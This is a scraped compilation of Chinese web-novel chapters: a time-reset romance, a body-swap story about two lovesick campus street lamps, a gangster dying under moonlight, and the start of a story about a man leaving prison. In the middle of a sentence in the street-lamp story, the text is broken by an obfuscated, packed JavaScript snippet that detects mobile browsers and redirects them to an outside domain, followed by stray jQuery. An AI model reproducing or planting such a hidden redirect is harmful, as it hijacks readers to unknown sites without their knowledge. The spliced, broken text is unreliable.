主治医生问那个人要不要见“Raysh”医生最后一面,那个人摇摇头,他什么也没说就出了医院,也没回家,Raysh已经看不到他了。 但他还能听到他的声音: “Raysh,Raysh……” “不会让你离开这个世界的” “我爱你,Raysh。” 他到最后也没看清那个人长什么样子。 “这就是你的前半生,所有值得记忆的事情。” Raysh猛然回头,车水马龙中站着一个穿着宽大衣服的人,带着高高的帽子,和那个人有点像,又有点不像。 “你是?” 那个人没有表情,没有动作,只是看着Raysh道:“你看到的那个人叫Van,是你前半生的恋人。” “前半生?我不是……不是才十八岁吗?” 他看见那个人嘲讽地笑了下:“你还以为你真的从头开始了?一个月前你因事故死亡,Van接受不了,强行把时间重置到十年后,你还十八岁,没有遇到他的时候。” “我什么时候遇到他的……”Raysh低声道,他好像想起了什么,隐隐约约的不清楚。 “二十岁,你到你们称为伦敦的城市上学的时候。” “你没有死,时间把你重置到了十年前,你会重新经历未来的十年,只是再也不会遇到Van了。” “我只是来传个话,Van因为强行干扰了时间轴已经被抹杀了,本来该死的人是你,你对于时间来说就是个BUG,但是Van把这一切帮你承担了。” “之前你一直梦到的人也是他,只是他抹掉了你的记忆,今天他最后一丝的存在也被抹杀掉了,我是来把记忆还给你,顺便Van让我告诉你,他会一直爱你。” “好好珍惜吧,这是Van用生命换来的重置时间,他是我这辈子见过最蠢的时间操控者了。” “哦对了还忘了一件事,Van说那个叫Jim的人多少受了点他的影响,会一直像他一样照顾你,Jim是个不错的选择,让你把他给忘了吧。” “那你为什么要把记忆还给我……” “大概是因为我不忍心自己的弟弟为一个人做了这么多,那个人连知道都不知道。再见Raysh,希望你以后生活幸福,也不枉我弟弟一片痴情。” 清晨醒来的时候Raysh还记得梦里的事情,他呆愣了半晌,终于忍不住大哭起来:“Van,Van……” 他想起了以前听到的那些声音,痴情的叫他:“Raysh……”,那个时候Van在承受什么呢?是被抹杀的痛苦吗?即使这样还是没有忘记叫我的名字,可是我听到了却想不起你,等我想起你的时候却听不到你的声音了。Van,怎么不带我一起走呢? “Raysh快起来吃早餐,有樱桃汁哦,还放了冰块。”Jim不知道什么时候回到了他家,又像以前一样砰砰砰砸门。 想起了Van让转告的话,Raysh一阵心绞痛,闷着声没有回答Jim,踮起脚拿起那本《时间逆流》跑到了玫瑰园的藤椅上。 和Van生活在一起的日子里,是不是每天早上也会抱着一本书跑到这里,然后让Van叫自己过去吃早餐呢?Raysh隐约猜到了Van不是地球人,也许不是他们能接触到的生命,他是高高在上的、控制着时间的操控者,是俯视众生的存在。Raysh不知道时间操控者有多少,但是他知道有个叫Van不见了。 嗯?怎么不见的? 自然是为了他啊。 为了谁? 为了我,为了Raysh…… “Raysh?快过来啊,三明治都凉了,不然你又要拉肚子了。” “Raysh?”Jim走到玫瑰园里把Raysh拉起来:“真拿你没办法小少爷,快去刷牙了。” 亲爱的Van,我就在这里,就在这里幸福的生活着,一定会很幸福的,这也是你所希望的吧。 Raysh看了眼前面的Jim,突然笑了笑,亲爱的Van,你重置的不止是时间吧,还有你对我的爱对吗? 嗯嗯,我知道了Van,我也爱你,很爱你,永远不会忘记的那种。 37. 第 54 章 part1 今天是路灯XYQ2-TSG-EYL-S3第52次表白的日子。 “今天也是美好的一天呢,S3君。” 古板的松树旁边,路灯XYQ2-TSG-EYL-S4朝它微微一笑。 S3瞬间感到自己整个灯杆里有一股强电流滋溜一声贯穿而过,激动得它险些在大白天亮起来。 “呵……”它傻笑起来。其实这样做朋友也不错,告白之后,也许就什么都不是了。 S3看着S4在明媚的春日阳光里纤长的身姿,还有它微笑的脸庞,竟然隐隐约约地觉得也许S4也憧憬着和它在一起的时光。 一只肥嘟嘟的麻雀在S4的灯罩上巡视了一圈,又飞到S3上小憩了一会儿。S3感受到麻雀细小的脚爪在它头顶摩挲着,莫名其妙地乐呵起来。 2016年春天的一个上午,S3再一次表白失败。 part2 “嘶……”半梦半醒之间,S3被一阵突如其来的痛感惊出了一身冷汗。 它支起眼皮,一眼就瞅到了一只往它身上拍广告的手。它感到一阵恶心,可那只肮脏的手还嫌不够,伸到嘴边沾了一点唾沫星子,把广告纸的四角不平处狠狠地抹平了。 S3气得够呛,但是它知道自己没法直接跟那人交流。 一旁的S4似乎还在沉睡中。清晨四点多,离日光初拂还有一段时间,黑暗吞噬了世上一切见不得人的东西。 再也睡不着的S3打量着S4。S4的睡颜安宁平静,褪去了清醒时的耀眼夺目,却也可以让S3的心里泛起小小的波澜。它明明看了很久,可依然看不够。 如果能每时每刻都这样看着它,那它愿意永远沉入黑夜。 天空渐渐地白了。 “咦,这是什么东西?”S3看到一位从图书馆走出的女生在S4旁驻足。 女生皱了皱好看的眉毛。 从包里拿出一把美工刀,强迫症让她开始抠那张广告纸。大概花了10分钟,某人一大早的成果荡然无存。 女生用充满怀疑的目光环视四周。“果然。”她握着美工刀走到S3旁。 然而S3并不是很开心。 它听到了一声微弱的“谢谢”从S4口中传出。S3和S4平时不会和人讲话,这么多年了,对牛弹琴就是自找苦吃。 于是S3就怀着既嫉妒又感激的心情别扭地等着女生把它身上最后一点广告纸的胶水也刮去,她还顺便用湿巾纸仔细的擦试了一圈。 “不错。”女生满意地点头,不知道是对谁,或者只是对自己。然后走掉了。 S3觉得什么事情要发生,或者仅仅是一些陈旧的东西悄悄萌生了转机,就像借了这不合时宜的春风。 从那之后,S4会一直默默目送这位女生行走在去往图书馆的路上,或是在某天晚自习下课,低下头用温柔的目光照耀她。 这样持续了一段时间,不长,也就一年半。终于逐渐地再也看不到那个女生的身影。“其实那只是个普通的女生吧。”S3这样想,但它还是能很容易将她从人群中分离出来。倒不是因为她身上有什么特别优于常人的吸引之处,只是顺着S4的视线,慢慢也就习惯了。 现在她不再出现了,大概也就跟千万人一样,毕业了吧。 part3 2017年的冬天对S3来说仿佛一个噩梦。 天气干燥得好像点个烟就能引起一场小型火灾。水水水水……这个城市面临着的还是老问题。 而让S3倍感惊恐的是,S4的老化。 它知道每个路灯都有寿命,都经不起时间的摧残会渐渐老去。在它心中万能的人尚且有生老病死,何况像它这样其实毫无存在感的小路灯呢――做了路灯这么多年,有人真的认认真真地抬起头看过他了吗。 但S4不一样啊!S3能平静的接受自己的消亡,但它不堪眼睁睁地见证S4的陨灭。它甚至想过一命换一命,毕竟,它们在地底下的电线此时也许正交织缠绕在一起呢,说不定真的就可以呢? S3看着S4灯罩上的裂缝,堆积的灰尘渗了下去,原本笑容灿烂的面容黯淡一片。 S3真切地体会到了人类所说的“生离死别”是什么意思。“我太矫情了。”它忧郁地想。 最后S4还是被换掉了。一位工人接到贴在灯杆上的报修反馈电话之后,扛着梯子提着其他工具快速的来了。他哼哧哼哧地爬上梯子,不一会儿便扭断了S4的脖子,然后在包里摸出一个新灯泡重新装上。 他还检测了几次新灯泡的亮度等指标,觉得不够,又跑去将S3检测了一番。看到指标都还过得去,便又急匆匆地走了。 新换来的S4不怎么讲话。S3时常想要跟它聊天,它迫切地想知道它的过往。可是话到嘴边,看到S4阴沉的侧脸,S3脸上小心翼翼的微笑就凝结成一个尴尬古怪的表情。 S3陷入了无穷无尽的挣扎之中。 part4 光是一位大三学生,他跟这所学校里其他单身人士一样,勤恳又无聊地度过一个又一个相似的周末。 大概是春天的某个夜晚,光从无意识中醒来,想去厕所解决一下生理需求。 四周并不是熟悉的宿舍的布局,光一下子清醒得可以去做一打数分题。“靠,不会是梦游了吧。”光看见石灰岩和松树,大概数步远处是他鲜少去的图书馆。 梦游是种奢求,事实比他想象得残酷多了。 信息如潮水般涌入他的脑子,他模模糊糊地意识到这具身体,不,这个容器的原主是一位叫做XYQ2-TSG-EYL-S3的…… 光无奈地看着脚下,至少现在他长高的心愿已经实现了。 只不过现在继续睡觉的欲望一时半会儿是难以满足的了,于是光开始审视原主给他留下的记忆。他意外地发现原主的记忆还算完整,从什么时候出厂,什么时候被指定到这个学校,什么时候安家落户到……什么时候突然觉得身边叫做S4的家伙十分可爱。 光偷偷瞥了一眼S4,什么嘛,长相跟数以千计的路灯有区别吗?原主到底是怎么看出它身上有“可爱”的地方呢。原来这个原主也跟他一样是个苦逼的单身狗,有所求却永远不可能达到。 罢了。光叹了一口气。原主是原主,他是他。两个世界的事物,不能就这么毫无隔阂地交融在一起。越界的事情,他一点都不想做。 光开始担心起明天早上的图像识别课的点名问题。他祈求这位跟他交换身体的老兄能够尽快适应一下他当下的生活,别作死地让别人把自己送进精神病医院。 part5 光今年大一。 他是个相貌平平的矮个子男生,从穿着到举止散发着一股从小乡镇爬上来的窘迫之感。但他并不介意,他成绩好啊。 他明白自身的缺陷和优势,于是便不把精力花费在外表的拾掇上。大概也是认定自己会是相亲大军中的一员了吧。 不过,成绩方面的出类拔萃仅限于光的高中时期。那时候他是小县城里某中学数一数二的学生,却是挤破脑袋才考到全国的中心。而到了大学,他才发现自己以前固守着井外的一角天空,其实什么都算不上。这里有太多的优秀学生,自小在家庭的蜜罐里长大,拥有最好的资源,天赋异禀,后天又努力不懈,既会玩又会学,个个是全面发展的乖孩子。 光记得在微积分课上,一大片学生表示这都是他们高中玩剩的东西。而这些东西,除了几个熟悉的知识点,在光看来有如天书一般。 现实把他最后一点优越感击得粉碎。 光变得更沉默了。他本来就是个家里蹲,现在彻彻底底变成了一个死宅男。有事没事就窝在宿舍里看书。 跟他同宿舍的,有一位各方面条件与光天差地别的学生。他在军训时用一副极好的嗓子高歌一曲,迅速走红。凭借出色的外表成为了书院里男神级别的人物。 路是本地人。身高马大,平时热爱足球、网球,会唱歌、弹琴,还能画一手漂亮的油画,以及有学生称路还得到了某个厨艺机构开出一级厨师认证资格证……总之除了学习以外,他都乐意尝一遍。 这位男神一般的人物,由于自身过人的硬件条件,自然不会缺乏异性投怀送抱。才一个学期,校里校外的女票换了一波又一波。于是久而久之,男神和渣男的绰号便一起扬名学院。 不过这些属于八卦方面事情,光是分毫不关心,只是偶尔同宿舍的其他男生调侃,他听着听着就知道了。 part5.1 “光,大神。看下这道题呗。” 用的是不容反驳的语气。 光面无表情的接过路递过来的纸。经过一个学期的默默努力,他终于把自己平均分提到了大班中可以看的位置。虽然离高中叱咤风云的时期还有不小的差距,但他总算可以心安理得地在睡前刷一会儿知乎放松心情。 他皱了皱眉头,这题也太简单了吧。习题课助教不是讲过了吗? 他撇了路一眼,后者正眼巴巴地等着他开金口。光想起来习题课路按惯例是翘掉的。 啧,终于轮到他做大爷了。 对于学校里这种风气,光是不喜欢的。由于大部队对学习高涨的热情和前所未有的重视,佼佼者总是被众人供在神坛。平时请教他们问题有着一些不成文的规定,比如不够低声下气会被人视为不礼貌的体现。更有甚者,走火入魔,考期直接供着真人照片曰之“拜考神”。大家兴致勃勃地转发一波朋友圈,像在派发好运锦鲤。 一开始,光与其说是不屑不如说是轻微的嫉妒。他刚来学校时还轮不到有这样的待遇。这看不见的等级划分对他来说是痛苦的根源。风水轮流转,等轮到他登上宝座的时候,他连嫌弃的脸色都懒得摆出来。 路邀请他一起去自习室刷夜的时候,光第一反应是拒绝的。 他现在有持无恐,对于他来说,在考期保证睡眠时间才是最重要的。但想想路作为同寝室同学,又是系里的名人,就这么回绝了未免显得不近人情。颜面上这一关,光无论如何都过不了。 于是他“鬼使神差”地一口答应了。一整个考期像个机器人一样的陪路复习,两个多礼拜下来,光感觉自己的脑子都要坏掉了。 好在结果不错。考期结束,路叫了一堆哥们儿吃饭。说是要谢谢光这个如同奶妈角色的人物(光:???),路亲自敬了光一杯。 “你以后如果想要留在这里,跟我说一下,哥能帮你的地方都会帮你。”路呵呵笑道。 光默默坐下。他确实很想摆脱自己的出生地留在一个超级大都城,享有全国第一线的机遇和待遇。怀着这样天真的想法,他去四五环的“我爱我家”逛了逛,还是觉得应该打消念头,安安心心地找个中级城市度过余半生。 有时候,他觉得自己真的很讨厌路。 part5.2 路是个运动方面的天才,几乎所有受大众欢迎的体育运动他都会,而且能玩的嗨。 不过另光费解的是,路居然会醉心于足球这样的高对抗性运动。倒不是他对这项运动有什么偏见,他只是纯粹地觉得这与路惯常的气质不符,路应该玩世不恭地、装作高雅地在钢琴凳前坐下,或者去网球馆挥洒汗水。而不是在这里把自己变成一个脏兮兮的玩泥巴的小孩。 光这时就百无聊赖地坐在TD线终点处的高台上看运动员们飞来跑去,整个绿茵场生动而特别。 路把衣服撩起来擦汗,露出的腹肌漂亮又结实。还有两道弯曲到运动裤的线条,光想起自己看过的人体解剖图,这似乎叫做人鱼线。 光慢吞吞的抱着柱子滑下去,把整个寝室四个人的卡都刷了。 part6 光麻木地站了几个小时。换做是以前的身体,应该已经支撑不住直接瘫软了吧。 现在失去了对“身体”的掌控权,倒也少了很多烦恼。 天色暗了下去。自从光接管了这个容器,获知了原主全部的记忆之后,他就已清楚自己存在于校园中的全部意义。 他不耐烦的低下头,看见来往的学生逐渐地增多了。有几位牵着手的情侣在宽阔的广场上散步,有一对还踱到他旁边的石板凳上坐着亲昵。 光翻了一个白眼。然后感觉自己像奥X曼一样射出了光波…… 嗯,六点半。挺准时的。 他在自己发出的强光中浑浑噩噩地熬过了半个晚上。等到10点钟的时候,他听到图书馆里传出熟悉的钢琴曲。路曾经跟他说过,这是日本一位很有名的DJ创作的曲子。路饶有兴致地想要向他讲解一番,可是光敷衍着“嗯嗯”了事,他不想在无意义的事上花费精力;抱歉,他的脑容量有限。 这时,图书馆前的广场亮起几十盏地灯,暖意四溢的金黄色光芒一下子冲淡了路灯凄惨惨的白光;整个广场像一个小小的海洋,突然有人放飞了数盏孔明灯,灯掉入水中,随着波涛起伏,最后静止成一帧委婉的画面。 光内心被极大地震撼了。他在心里流下两行无形的眼泪。 美好的事物对于他这个粗糙的理工男来说,只是一种模糊混沌的意识,而生活又太苦,某些东西转瞬即逝,比彩虹还要短暂。 这时,半强迫半自觉,愈是平凡的景象愈是能激起他的赞叹;他感觉自己一定是瞎了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353471|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。 也许他的前半生也是这样,在一片芜杂的荒原里,偶尔也能开出星星点点的几朵花。 part7 一周,光已经拥有了全新的生物钟,彻底成为他之前看不起的一类人。熬夜瞎摸,白天睡觉;间歇性踌躇满志,持续性混吃等死。 不过同时,他也摸清了图书馆周围有几只猫几只狗,哪只猫跟哪只猫有一腿,哪只狗总是被哪只狗欺负得嗷嗷叫……虽然大部分时间他对此总是不屑一顾。 时光平静地流去,让他渐渐地想要忘却自己曾经的身份。逃避有什么不好?现在不用面对图纸和论文,没了需要看导师脸色的压迫感和毕业在即的烦躁焦虑。潜意识里,他一直被不安驱动着向前奔跑,哪怕前方是黑夜照样义无反顾;现在他觉得疲倦了,想要永久地伫立为一个没有感情的雕塑。 只是转变总是来的突如其然。 某天下午,一位矮个子男生来到他和S4之间的长凳上坐下。男生的目光躲躲闪闪,犹豫了一会儿走到S4旁边蹲下,把头埋进搁在膝盖上、交叉抱着的双臂里。 光本来也是不以为意,他撇了男生一眼却再也移不开不目光。太熟悉了……他瞪大了眼睛仔细瞧了瞧。 这特么不就是他的本体么!!? 光发出无声的尖叫。全广场的路灯都听到了,纷纷对他表示指责和嗤之以鼻。 一直以来,光在人群中都保持着透明人的姿态,此时却万分希望自己能有夺人眼球的办法,跨越某些难以理解的屏障,让自己的本体跟他说说话。 但这显然只是他自己的内心戏。 过了一会儿,男生缓缓站起来,抬头看了S4一眼,恋恋不舍地走了。 光又气又好笑地不想再多思考。 第二天,男生又来了。这次他带了一本六级单词书,趁着清晨的夜色,悄咪咪地移到S4旁,开始朗读那本书。 光被自己的声音吵醒(……),一眼就看到男孩手中拿的书,差点气得炸灯泡。大哥!你就不能挑本好点的吗!这本六级书他大一的时候早翻烂了,就不能拿一下书架上的GRE必备X千词吗?这样真的会让人以为他是个反复考六级不过的人……他的形象啊。 虚荣心还是被好奇心打败,他专心地听着“自己”念单词。他感觉那个……东西,应该也拥有了自己的全部记忆,再加上全部学识。他感到一种长久以来都没有体会过的失落。 男生念了一会儿英语单词,突然停顿了下来,脸上又露出迷茫和犹豫的神色。光听见他说:“XYQ2-TSG-EYL-S4,我还是很想你。” 光选择自杀。敢情您到这里来是叙旧表白的? S3心里忐忑不安。它还是第一次依附于其他生命体叫S4的全名。 它花了很久来接纳这具崭新的躯体和那个看似小巧实则浩瀚无垠的脑袋里的大部分想法。那一个星期它什么也没干,躺在宿舍的床上装死。倒是把同寝室的几个人急的哇哇叫,其中一个貌似叫路的同学甚至想强行爬床把“他”拉到医院看病。 好在大家的适应能力都不错,几天过去就习以为常。除了给它带饭和替“他”签到以外,没人表示出多余关心。路有时还会冷言冷语地嘲讽它几句,它就当是空气,一次也没理人家。 part8 “S4,我不知道还能不能叫你S4。因为你已经不是我熟知的那个S4了。” “人类说他们是由连续的记忆组成的。只要记忆还在,哪怕面目全非,灵魂也是一样的。” “我很感激有你陪伴的时光,每天早上你跟我说早安是我最开心的时刻。” “我有时候很担心你,因为小虫子总是往你那里飞,但你总不知道该怎么避开它们。其实真的很简单,你多闪几下就可以了。” “听说要给几个路灯安装电蚊虫的装置,我希望你能被抽中。” 絮絮叨叨的声音被泪水打断。 “其实我很想跟你说说我们以前的事情……” part9 光默默地听着。 有了一次之后肯定会有无数次。男生总是捧着单词书来这里晨读。有时候会放下书本跟S4聊天,当然只有他一个人在讲个不停,都是一些陈年旧事。 光很感激“他”终于开窍了――换了一本TOFEL□□。 然而S4并没有什么反应,光十分吃惊它没有表现出应有的感动。听了那么久,光自己已经先缴械投降,彻底地释然了。 日子在一天天消磨中度过。光送走了一批又一批学生,见识了考期密集的人群和考试结束之后空荡荡的广场。他自己亮了灭,灭了又亮,在反反复复的机械化操作中感受一次又一次奇特的轮回。 终于,光感觉自己越来越力不从心,亮起的灯光摇摇曳曳。在2018年暑假的一个夏夜,彻底地熄灭了。临死前还发出了轻微的一声“噗”,好像对他短暂的一生做了一个没人能懂的总结。 其实那几天男生在晨读时已经注意到不在状态的光。S3看着曾经的自己,愣了愣。 尔后在单词本上记下那串让自己心碎过的数字。 part10 光睁开眼,一时间没适应手脚的平衡,从椅子上摔了下去。 他挣扎着想要爬起来,可是全身无力,肌肉跟小脑仿佛不是长在一个人身上。扑腾了几下都以失败告终,他索性就赖在地上不起来了。 一旁的路再也看不下去,一脸嫌弃的把他从地上拎到桌子旁。光一屁股瘫在椅子上,感觉过去了一个世纪那么漫长。眼泪从眼框里快要掉出去。靠!什么时候他居然变得这么容易哭了?! “我去,怎么还哭了,你摔成智障了吗!”路往他面前丢了一张餐巾纸。 光感觉自己刚恢复知觉的身体又僵化了。这是在图书馆里,他正在看书,看着看着就趴着睡着了,偏偏还在…… 光感到无地自容。 看到光一言不发,路应该是已经习惯了。他对光说:“我也不想看了。待会儿我去打球。”罢了出于礼貌还加了一句:“你去吗?”当然不去,一句废话。 “我去。”出乎意料的,光响亮地冒出一句。 路皱了皱眉头,周围有人看着呢,图书馆里发这么大声纯粹就是欠抽。“你这是在骂人?” 光脸色变得奇怪。他嗫嚅了一阵。“啊,就是,那个,我也一起去打球啊……”到最后,声音微弱如蚊。 路觉得很惊讶,他忍住没问光有没有吃药。他这位室友总是做出奇怪的举动,他还是装作习惯比较好。 于是两个人合上书,整理了各自的东西,一起迈出图书馆的大门。 38. 月光啊 月亮转过建筑,将清冷的光洒在李尼康身上,没有温度,只有冰冷。 看着还残缺一丝才圆满的月亮,眼泪就这么毫无征兆的流泪出来。 月光啊,何处是归乡的路? 李尼康想,这辈子是归不去了。那条狭窄的泥巴路,那条通往破败的泥瓦房到路,那条归家的路,这辈子是没有机会再踏上了。 那是几岁来着?七岁?还是八岁?已经记不清了。人就是这样,离开了故乡,见识了繁华,可梦回时分仍旧是那条泥泞的路最踏实。那条被雨水浸泡过的路,那条秋雾弥漫的路,那条小草被寒霜覆盖的路……那条通往一个叫做家的地方的乡间小路。 月亮继续移动着,月光渐渐明亮,明亮却不刺眼,这就像那个地方。没有喧嚣,没有霓虹灯闪烁,没有豪车美女,没有盛宴豪饮,没有富贵权势,明明不起眼,却永远割舍不下。 月光啊,你可看见了浪子的泪光? 李尼康知道,自己流出的泪就算把自己淹死,也只能空悔恨。 “康康将来想做什么?” “当老大!” 这是奶奶声音,奶奶没有嘲笑他稚子妄语,奶奶只是笑,慈爱的,响亮的笑…… “康康遇见野狗不要跑,你好好走你的,它不敢咬你。你要是一跑啊,它就以为你怕它,就追着你咬喽。” 这是爷爷的话,从那以后,李尼康再也没跑过,再也没怕过。上学不怕老师,混社会不怕大哥……所以他成了大哥,美女香车,兄弟江湖,醉生梦死! 胸前印着老虎头的黑T恤已经被浸湿了,空气中弥漫着鲜血的腥味。李尼康不知道自己身上被砍了多少刀,已经不觉得痛了。月亮,以前也是这么明亮的吗? 月光啊,留一缕照亮我。 年少轻狂,到死方休。李尼康喉咙有点痒,忍不住咳嗽一声,有鲜血从嘴角溢出。 “康,别去好不好?我害怕……那群人会杀了你的。” “李尼康,我***,你走去就一辈子别找老子!” “李尼康,你他妈真的舍得走?” “李尼康,你回来!” 这是爱人的声音,那个比自己还年轻三岁的少年。那个第一眼看到自己就笑得像个小狐狸的崽子;那个被自己压在床上,还倔强的骂娘的小子;那个总是说自己蠢的家伙;那个……永远不承认胆小的可爱的孩子。 见不到了,也好。 我不去,你不知,正好忘记。 “妈妈……” 喉咙发出咕噜的声音,很模糊的声音从血泡中挣扎出来。 童年那张逝去的脸,原本已经记不得长相的那个女人。 现在却,无比清晰的那张脸。 是妈妈,这个没叫几年就被癌症夺去生命的母亲。 现在,那张脸就在月亮之中,依然美丽,带着微笑。 可惜,我还是没找到那个负心的男人,没能亲手宰了那个禽兽。 妈妈…… 我好痛! 妈妈…… 我不想死, 我才二十岁, 我舍不得他们; 妈妈…… 我错了! 身体的热量随着血液,在一点一点流失。 是水泥地面吸走了吗? 还是被地狱吸走了? 吸走的 或许 是生命…… 李尼康已经没有力气继续盯着月亮,没有力气继续睁着眼。 月光啊,你不要变成黯淡。 “李尼康,你在哪里?” 嘶哑的高吼带着哭腔,划破废旧纺织厂的荒凉。 他来了,那个少年! 可是, 你不该来,你该走开,不要看见我这幅样子死去。 李尼康闭上眼睛。 黑暗蔓延…… 那条浓雾弥漫秋霜凛冽的小路,也被黑暗掩埋。 “康康,野狗怕人,人怕江湖。” 月光啊,君不归。 无法逃离 “给支烟!” 江海站在监狱门口,看都不看旁边的衣冠禽兽,只是伸出两根手指。 “刚出来,走远点抽吧。” 西装革履的李怀脸上淡漠,转身往停在一旁的黑色雷克萨斯走去。 “先上车。” “呸!” 江海心里窝火,一口痰吐在路边,“人模狗样!” 可还是不得不上车,南区监狱这一代很荒凉,他要是真不上车,他妈的难道要甩着11路走回市区? 江海挺壮,虽然李怀比他高半个头,可论起强壮和搏击术,他自认为两个李怀也碰不到他一根手指。副驾驶的座椅被他放下,一只脚搭在车窗上,另一只长长的伸出去,身体就这么躺着,看着天窗外的蓝天白云。 “你这样一会儿进了市区会被交警找麻烦的。” 李怀看看江海这么躺着,对这人有点反感。江海这个因为故意伤人在监狱呆了四年的混混,现在出来了居然还跟四年前一样,身上的痞气一点都没有收敛,如果不是因为他是替自己亲弟弟背的罪,李怀这一辈子恐怕都不会接触到他这种人。 “呵,交警还敢为难你李大公子?别跟我扯这些,老子在里面呆了这几年,浑身正憋得慌,别撩火。不然别怪我不给二少面子,他亲哥老子也揍。” 江海一点面子也不给,满脸不屑的看着这个李家的长子,哦,不,是李家的私生子。 “你要房子已经买好了,装修和家具也都弄好了,现在载你过去。” 李怀冷着脸,不去跟这个痞子计较,只是心里的反感变成了厌恶。是啊,自己就是李家老爷在外面的私生子,还是他妈的长子。明里暗里多少人嘲笑,李怀已经不在乎,那个败家子弟弟不过就是个扶不上墙的烂泥,早晚李家都是自己的,这些嘲笑的人不过是无知的蠢货。谁会为了一个蠢货的话而真的动气呢? “钱呢?大公子,一套房可值不了这四年。” 江海伸手不顾李怀正在开车,直接在他手臂拍了拍。 “烟!” “钱已经汇到你小姨的账上了,不过因为数额巨大,走合法程序不安全,所以分十次转。” 李怀从杂物盒拿了盒烟扔给江海,沉稳的开着车。 “呵,谅你们也不敢赖账,说实话,你家二少在我手里的把柄可不少。这几年老子虽然在里面,可外面的兄弟们都没散。账户老子会找人开,你们最好乖乖把钱转过来。” 江海点了支烟,脚在车窗的玻璃上敲着,深吸一口,再舒服地吐出一团烟雾,心里这才爽了几分。 “好,账户开好后直接发给我。” 李怀看着路,又打开副驾驶前的储物箱,从里面拿出个白色的盒子,“这是新手机,手机卡已经装好了,里面有我的联系电话。” “操,想得还挺周全啊。” 江海咬着烟,双手拆着盒子。 “这么贤惠,难怪二少这么信任你,我说……” 江海坐起身,一条胳膊搭在驾驶位的座椅背后,满脸邪气道,“你不会已经被二少上了吧?不然他干嘛这么信任你一个私生子?嗯?” “他跟我是亲兄弟。” 李怀眼珠都没转一下,声音淡淡的回答,只是握着方向盘的手指用了用力,怒气藏得很深,这个人是在找死! “切!” 江海一脸不屑的别开头,躺下身体继续弄他的手机。 李家二少爷,出了名的二世祖,要能力没能力,就是钱多。没事就爱在外面混,混就混吧,还他妈尽混些下九流的玩意儿。什么小姐鸭子,什么赌博嗨粉,什么打架斗殴,哪样都来但哪样都不行。要不是家里有几个钱帮他砸,恐怕早几年就没命了。而江海,这个痞子则是真真正正打架堆里出来的阎王,在道上的名声也响,要不是因为缺钱帮李二少替了罪,也不至于在里面呆四年。 “坐起来,前面有查车。” 李怀说了一句,放缓车速,远远的就有警报声传来。 “妈的!” 江海一脸不耐烦升起副驾驶座椅,看到远处有警灯闪烁,索性闭上眼睛。 “你干嘛?” 突然感觉到身上有人靠近,警惕的睁开眼。 “安全带。” 李怀已经按照交警的指示停到路边,探过身拉着安全带帮江海扣好。 “婆婆妈妈。” 江海嘟囔一声,警车闪烁的灯让他很烦躁。 “以后在我面前说话别带你母亲。” 李怀突然眼神凌厉的看了江海一眼,随即又转回身体。江海被看得心里颤了颤,这人他妈的什么变态? “您好,例行检查,请出示驾照。” “好的,谢谢配合,可以走了。” 耳边响起陌生的声音,交警很利落的检查完,汽车再次启动。 “这是钥匙,房子也在你小姨名下,还有什么事可以随时联系我。” 李怀说完这句话就升起车窗,启动车子汇进了车流。江海看着车远去,不屑的耸了耸肩,转身进了这个看着挺牛逼的小区。 房子装修得挺简洁,没有太花哨,江海还算满意,家具大概也是设计公司一起弄得,一圈转下来没什么出彩的设计,不过很协调。对于家装这方面江海还是挺了解的,毕竟他也是某三流大学设计专业里混出来,至于为什么成了混混,那都是历史因素,毕竟子承父业不是? “喂?姨啊,我出来了。” 家里已经没什么人了,而肯跟江海家来往的亲戚也就这个从小对江海都不错的姨了。 “嗯,刚到住的地儿。” 江海一边打电话,一边一把脱了身上的T恤。 “行,晚上我过去吃饭,您别做太多。” 接着又把裤子两脚踢掉,进了浴室。 “晚上再说吧,我一会儿早点过去。” 打开热水,试着水温,江海对着镜子看了看自己的身体,还行,腹肌还在,除了那几道伤疤依旧是个身强力壮的硬汉。 “得嘞,您放心,我这边弄好就过去。不开车,我坐地铁。行行,都听您的,我先洗个澡哈。诶,再见。” 挂了电话,就这浴室里升起的雾气,江海深深吸了口气,又慢慢吐出来,身体慢慢放松下来。 “海哥,晚上兄弟们包了场子给您接风,几点去接您啊?” “我先去姨家吃饭,出来再联系你们。” 江海回了短信,进了地铁。下午人不太多,但江海从家里一路走来还是有点不习惯,不习惯这么吵,不习惯人来人往。 “坐牢坐傻了吧。” 江海无奈的在心里叹口气,眼光又悄悄打量了对面坐着的一个小青年,眉清目秀,身材瘦高,是自己喜欢的类型。可惜,这是在地铁上,要是在酒吧里……江海趁对方发现自己前转开目光,看着地铁顶上吊着的广告。 李怀接完江海就直接去了公司,下午连着开了两个会,又处理一堆文件,从公司出来时已经天黑了。回到家正赶上吃完饭,跟父亲说了说江海的情况,换来弟弟几声不屑的哼哼。 “妈的一个混混,用得着这么小心?” 李怀正要推开自己的房门,身后传来李家二少爷李霖不屑的讥讽。这是二楼的走廊,就李怀和李霖两人的房间。李怀转身看着李霖,目光森冷。 “怎么?你们就是他妈的怂!” 李霖又不屑的冷哼。 “操!” 李霖离李怀不过一步之遥,李怀突然伸手拉着他的衣领一用力就进了李怀的房间,门关上,李霖很李怀压在门后,脖子被狠狠捏着。 “再跟你说一遍,别在我面前说那个字。” 李怀咬着牙完全没有在外面那副温文尔雅的正经模样,身体压着李霖,声音阴沉让后者不经打了个寒颤。 “我……我就是一时没注意,哥,哥,别……” 李霖双手拉着李怀的手,他毫不怀疑眼前这个人很可能会真的掐死自己。 “我留着你,只因为你跟我有血缘关系,以后别再给我找麻烦,不然你知道后果。” 李怀说完,拉着李霖打开房门扔了出去。 “好好。” 李霖连连赔笑,老鼠一样奔进自己房间。 李怀关上门,烦躁的把领带扯了,又解开两颗纽扣,慢慢平息自己的怒气。江海这个人虽然是个混混,好歹是真汉子,可自己这个弟弟,就他妈根本不是个东西了。恃强凌弱,还特别无能,整个李家的担子都压在李怀一个人肩上,一阵无力感从心里传来。李怀进了浴室,打算泡个澡然后好好睡一觉,明天还有很多事等着他。 可惜,就在李怀刚穿好睡衣,手机响了。看着屏幕上的号码,皱起眉。 “喂?” “大公子,还真是你的号码啊?” 